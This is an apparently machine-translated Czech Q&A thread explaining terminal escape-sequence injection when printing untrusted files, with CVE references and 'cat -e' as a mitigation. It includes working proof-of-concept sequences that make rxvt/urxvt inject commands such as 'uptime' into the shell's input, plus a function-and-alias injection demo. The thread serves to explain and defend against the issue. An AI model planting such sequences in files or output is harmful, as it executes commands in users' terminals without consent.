Ano , je to potenciální riziko, viz CVE-2003-0063, nebo CVE-2008-2383 nebo CVE-2010-2713, nebo CVE-2012-3515 nebo OSVDB 3881, nebo CVE-2003-0020 nebo některý z podobných zde uvedených ... Některé další také v komentářích níže.
Aktualizovat není to jen potenciál riziko, je to skutečné riziko .rxvt-unicode (verze 2.7—9.19, opraveno v 9.20) umožňuje přístup pro čtení/zápis k vlastnostem X okna, to může umožnit provádění libovolných příkazů za pomoci uživatele, tomuto problému bylo přiřazeno CVE-2014-3121, více podrobností zde https ://bugzilla.redhat.com/show_bug.cgi?id=1093287 .
Nejnověji (říjen 2019) iTerm2 bylo zjištěno, že verze až do v3.3.5 mají stejnou třídu problému:zobrazení škodlivého obsahu může povolit integrovaný tmux a povolit provádění příkazů, viz CVE-2019-9535.
Toto téma má také dobré pokrytí zde:https://unix.stackexchange.com/questions/73713/how-safe-is-it-to-cat-an-arbitrary-file a důkladnou analýzu základního problému od Gilles zde:https://unix.stackexchange.com/questions/15101/how-to-avoid-escape-sequence-attacks-in-terminals.
Vysvětlení
To, co pozorujete, je vedlejší účinek toho, jak se chovají určité escape sekvence:některé z nich vkládají znaky (obvykle také obsahující sekvence escape) přímo do vstupní vyrovnávací paměti terminálu . Vše samozřejmě ve jménu zpětné kompatibility. Standardní xterm
to dělají únikové cesty, které jsou popsány pomocí termínu "Report
Jako by to nebylo dost špatné, některé takové sekvence mohou obsahovat nový řádek , což znamená, že cokoli čte z terminálu (vašeho shellu), uvidí to, co vypadá jako úplný uživatelský příkaz.
Zde je elegantní způsob, jak to použít, s bash read
vytisknout escape (jako výzvu), pak okamžitě přečíst a rozdělit odpověď do proměnných:
IFS=';' read -sdt -p $'\e[18t' csi8 rows cols
echo rows=$rows cols=$cols
Tyto sekvence se mohou lišit podle terminálu, ale pro rxvt
a odvozený, grafický dotaz escape obsahuje nový řádek (příklad pomocí bash
a $''
řetězce, viz doc/rxvtRef.txt
ve zdroji)` :
$ echo $'\eGQ'
$ 0
bash: 0: command not found
Tento escape odešle \033G0\n
do vstupní vyrovnávací paměti terminálu (nebo číslice 1
místo 0
pokud máte grafickou kartu rxvt
).
Takže zkombinujte tento escape s dalšími sekvencemi, které se chovají podobně:
echo $'\x05' $'\e[>c' $'\e[6n' $'\e[x' $'\eGQ'
pro mě to způsobuje 11 pokusů o spuštění různých příkazů:1
, 2c82
, 20710
(můj rxvt
řetězec verze), 0c5
, 3R
(5 a 3 byly souřadnice kurzoru), 112
a 0x0
.
Využitelné?
S rxvt
a nejnovějších terminálových emulátorů byste měli být schopni "pouze" vytvořit omezenou sadu převážně číselných sekvencí. Ve starých emulátorech terminálu bylo možné (některé výše uvedené CVE) přistupovat ke schránce, ikoně okna a textu záhlaví a vytvářet další škodlivé řetězce pro vyvolání (jednou současnou mírnou výjimkou je, pokud nastavíte answerbackString
X resource string, ale nelze to přímo nastavit pomocí této metody). Chybou je pak umožnění libovolného čtení a přístup pro zápis k něčemu, co přechází na stav nebo úložiště v rámci escape sekvencí, které nacpou data do vstupní vyrovnávací paměti.
rxvt
vyžaduje k aktivaci změny času kompilace, ale urxvt
užitečně má -insecure
možnost příkazového řádku, která umožňuje některé z více vzrušujících funkcí:
$ echo $'\e]2;;uptime;\x07' $'\e[21;;t' $'\eGQ'
bash: l: command not found
17:59:41 up 1448 days, 4:13, 16 users, load average: 0.49, 0.52, 0.48
bash: 0: command not found
Tyto tři sekvence jsou:
\e]2;...\x07
nastavit titulek okna;\e[21;;t
název okna dotazu, místo ve vstupním bufferu;\eGQ
schopnost dotazovací grafiky, která přidává\n
do vstupní vyrovnávací paměti.
Opět platí, že v závislosti na terminálu mohou být další funkce, jako je velikost písma, barvy, velikost terminálu, znaková sada, alternativní vyrovnávací paměti obrazovky a další, dostupné prostřednictvím escape. Jejich nezamýšlená úprava je přinejmenším nepříjemnost, ne-li přímo bezpečnostní problém. Aktuální verze xterm
omezit potenciálně problematické funkce pomocí prostředků „Povolit*“.
CVE-2014-3121
Před verzí 9.20, urxvt
nehlídal také přístup pro čtení a zápis k vlastnostem X (většinou používané správci oken). Napište přístup pro čtení (nebo přesněji přístup k sekvencím, které odrážejí potenciálně libovolné řetězce) nyní vyžaduje -insecure
možnost.
$ echo $'\e]3;xyzzy=uptime;date +%s;\x07'
$ xprop -id $WINDOWID xyzzy
xyzzy(UTF8_STRING) = 0x75, 0x70, 0x74, 0x69, 0x6d, 0x65, 0x3b, 0x64, 0x61, 0x74, \
0x65, 0x20, 0x2b, 0x25, 0x73, 0x3b
To lze triviálně použít k nacpání libovolných řetězců do vstupní vyrovnávací paměti terminálu. Když je vyvolána sekvence escape pro dotaz na vlastnost (spolu s užitečným \eGQ
který přidá nový řádek):
$ echo $'\e]3;?xyzzy\x07' $'\eGQ'
$ 3;uptime;date +%s;0
bash: 3: command not found
17:23:56 up 1474 days, 6:47, 14 users, load average: 1.02, 1.20, 1.17
1400603036
bash: 0: command not found
Více příkazů, zachování bílých znaků a metaznaků shellu. Toho lze využít různými způsoby, počínaje samozřejmě nedůvěryhodným binárním souborem, dalšími nápady v H.D. Moore's short paper (2003).
Následné kroky
Pro escape sekvenci se ptáte na:1;112;112;1;0x1;2
Toto je:Požadavek na parametry terminálu (DECREQTPARM) a Odeslat atributy zařízení :
$ echo $'\e[x' $'\e[0c'
;1;1;112;112;1;0x1;2c
Druhý (\e[0c
) je stejný jako ^E
(pomocí rxvt
). Jsou tam také nějaké únikové sekvence. úplná sekvence zapsaná pro každou z nich je:
\e[1;1;1;112;112;1;0x
\e[?1;2c
Určitě ano.
Nový přírůstek 25.01.2020:
Od chvíle, kdy jsem přešel z LATIN-1
kódování na UTF-8
jako výchozí kódování ve většině svých systémů jsem našel nějaké zajímavé funkce kolem tohoto (nyní existují dvě délky pro jeden řetězec)...
Pro ukázku, protože rád si hraju s bashem , Zeptal jsem se, proč lokalizace bash nefunguje s víceřádkovými řetězci. Tato funkce bash představuje chybu, kde řešení spočívá v použití eval
. Pokud se nejedná o bezpečnostní chybu , to by se mohlo stát nebo vytvořit...
V každém vývoji téměř čehokoli (jazyků, knihoven, nástrojů, protokolů, aplikací, hardwaru, instalačních programů, konzolí atd...) přicházejí nové funkce s potenciálně novými chybami...
Naštěstí je jich tak málo, jak rychle se opravují (téměř jednodenní z odhalení), ale jsou!
Takže rozhodně ano, buďte opatrní!
Správné použití cat
příkaz.
Zdá se, že používáte moderní emulátor terminálu , některé únikové sekvence lze použít k úpravě vyrovnávací paměti klávesnice .
Mohou být vloženy správné příkazy shellu.
Můžete použít argument -e
z cat
pro bezpečný provoz viz man cat
.
-e equivalent to -vE -E, --show-ends display $ at end of each line -v, --show-nonprinting use ^ and M- notation, except for LFD and TAB
Potom
$ cat -e suspectfile.raw
$ cat -e suspectfile.raw | less
nebo pod bash:
$ less < <(cat -e suspectfile.raw)
nebo dokonce
$ which less cat
/usr/bin/less
/bin/cat
$ rawless() { /usr/bin/less < <(/bin/cat -e "[email protected]");}
Poznámky
Když si přečtete command not found
, to znamená, že něco bylo účinně aplikováno.
Hlavní injekce funkce, která nebyla odstraněna je sekvence identifikujte se , používané v mnoha zapouzdřeních VT-100.
Tato sekvence je Escape Z
který bude vstřikovat řetězec 1;2c
do vyrovnávací paměti klávesnice, což znamená VT-100
(v úmluvě AVO).
Mluvíme o cat
, můžete zkusit:
$ cat <<< $'\033Z'
Nebo jiná sekvence ANSI:CSI c
(Atributy zařízení ):
$ cat <<< $'\033[c'
vypíše prázdný řádek, ale na dalším řádku se zobrazí výzva 1;2c
(nebo možná s jinými čísly, v závislosti na použitém terminálu), jako byste vy trefil je:
$ 65;1;9c█
... ale s -e
přepínač:
$ cat -e <<< $'\033Z'
^[Z$
$ cat -e <<< $'\033[c'
^[[c$
Kde -e => -vE
, -v
transformovat \033
do ^[
a -E
zadejte $
znak na konci řádku (a na další řádek se nic nevloží, vyrovnávací paměť klávesnice není ovlivněno).
V uživatelské příručce VT100 můžete najít spoustu vtipných věcí (jako:cat <<< $'\033#8'
;)
(Byl to moderní terminál ! V nějaké minulosti... )
Zkouším použít bash
Existuje malý příkaz bash pro vyprázdnění vyrovnávací paměti klávesnice a získání jeho obsahu:
$ cat <<<$'\033[c';buf='';while read -t .1 -n 1 chr;do
buf+="$chr"
done;printf "\n>|%q|<\n" $buf
^[[?65;1;9c
>|$'\E[?65;1;9c'|<
A malá funkce pro testování jakéhokoli řetězce:
$ trySeq() {
printf -v out "$1"
echo -n "$out"
buf=""
while read -t.1 -n1 char
do buf+="$char"
done
[ "$buf" ] && printf "\r|%q|->|%q|<\e[K\n" "$out" "$buf"
}
Takže bych to mohl zkusit:
$ for seq in $'\e['{c,{1..26}{n,t,x}};do
trySeq "$seq";done
|$'\E[c'|->|$'\E[?65;1;9c'|<
|$'\E[1x'|->|$'\E[3;1;1;120;120;1;0x'|<
|$'\E[5n'|->|$'\E[0n'|<
...
(Možná s nějakým neškodným efekty na vaší konzoli;)
Malá praktická ukázka
Představte si, že by někteří mohli do vašeho prostředí umístit něco takového:
$ source <(printf '%dc() {
printf "You\\047ve been hitted\\041\\n"
};\n' {0..100};printf 'alias %s=1c\n' {0..100};)
Pak, pokud
$ cat <<<$'\e[c'
$ 65;1;9c█
Kurzor zůstane na konci příkazového řádku.
Odtud, pokud strojně stisknete Return místo Ctrl + c , budete číst něco jako:
$ 65;1;9c
You've been hitted!
You've been hitted!
You've been hitted!
$ █
A teď?
Odtud bohužel žádný standard neexistuje .
Každý virtuální terminál implementace by mohla podporovat plný standard ANSI a/nebo plný standard DEC...
Ale protože existují určité bezpečnostní problémy, mnozí ne...
Pomocí jednoho terminálu byste mohli pozorovat určité chování, které byste pomocí jiného nepozorovali...
xterm, linuxová konzole, gnome-terminál, konsole, fbterm, Terminál (Mac OS)... seznam emulátorů terminálu není tak krátký!
A každý z nich má své vlastní chyby a omezení ve srovnání se standardy DEC a ANSI.
V praxi možná najdete nějakou virtuální konzoli, která by mohla být vybavenější než ostatní a kde vkládání klávesnice může narušit vaše zabezpečení.
Je to jeden z důvodů, protože preferuji používat vždy stejné (staré) xterm
spíše než jiné funkčnější nástroje.
"Skutečné" skleněné terminály měly únikovou sekvenci pro tisk obrazovky na tiskárně. Udělali to spuštěním příkazu a přenesením aktuálního obsahu obrazovky do stdin příkazu print.
Příkaz může být konfigurován jinou escape sekvencí.
Klasickým způsobem, jak toho využít, bylo vytvořit soubory se jmény, do kterých je vložena sekvence escape, aby se nastavil příkaz tiskárny a ten se změnil na nějaký skript podle vašeho výběru, a pak se vytvořil 2. soubor s sekvencí tiskové sekvence.
Když pak někdo spustil ls
v tomto adresáři by nakonec spustili váš kód. Což bylo hezké, kdyby to byly root
uživatel!
Teoreticky by moderní terminálové emulátory neměly dělat takové věci.
Zdá se, že Terminal.app je založen na ntermu NextStep, takže v sobě může mít všechny druhy podivností.
Možná zkuste zúžit, které přesné bajty vytvářejí command not found
zprávy?
Vypadá to, že existují escape sekvence pro zvednutí a snížení terminálu:
http://the.taoofmac.com/space/apps/Terminal
nějaké další informace zde:
http://invisible-island.net/ncurses/terminfo.src.html#toc-_Apple__Terminal_app
Pokud chcete odeslat obsah do standardního kanálu programu,
program -para meters < /path/file.ext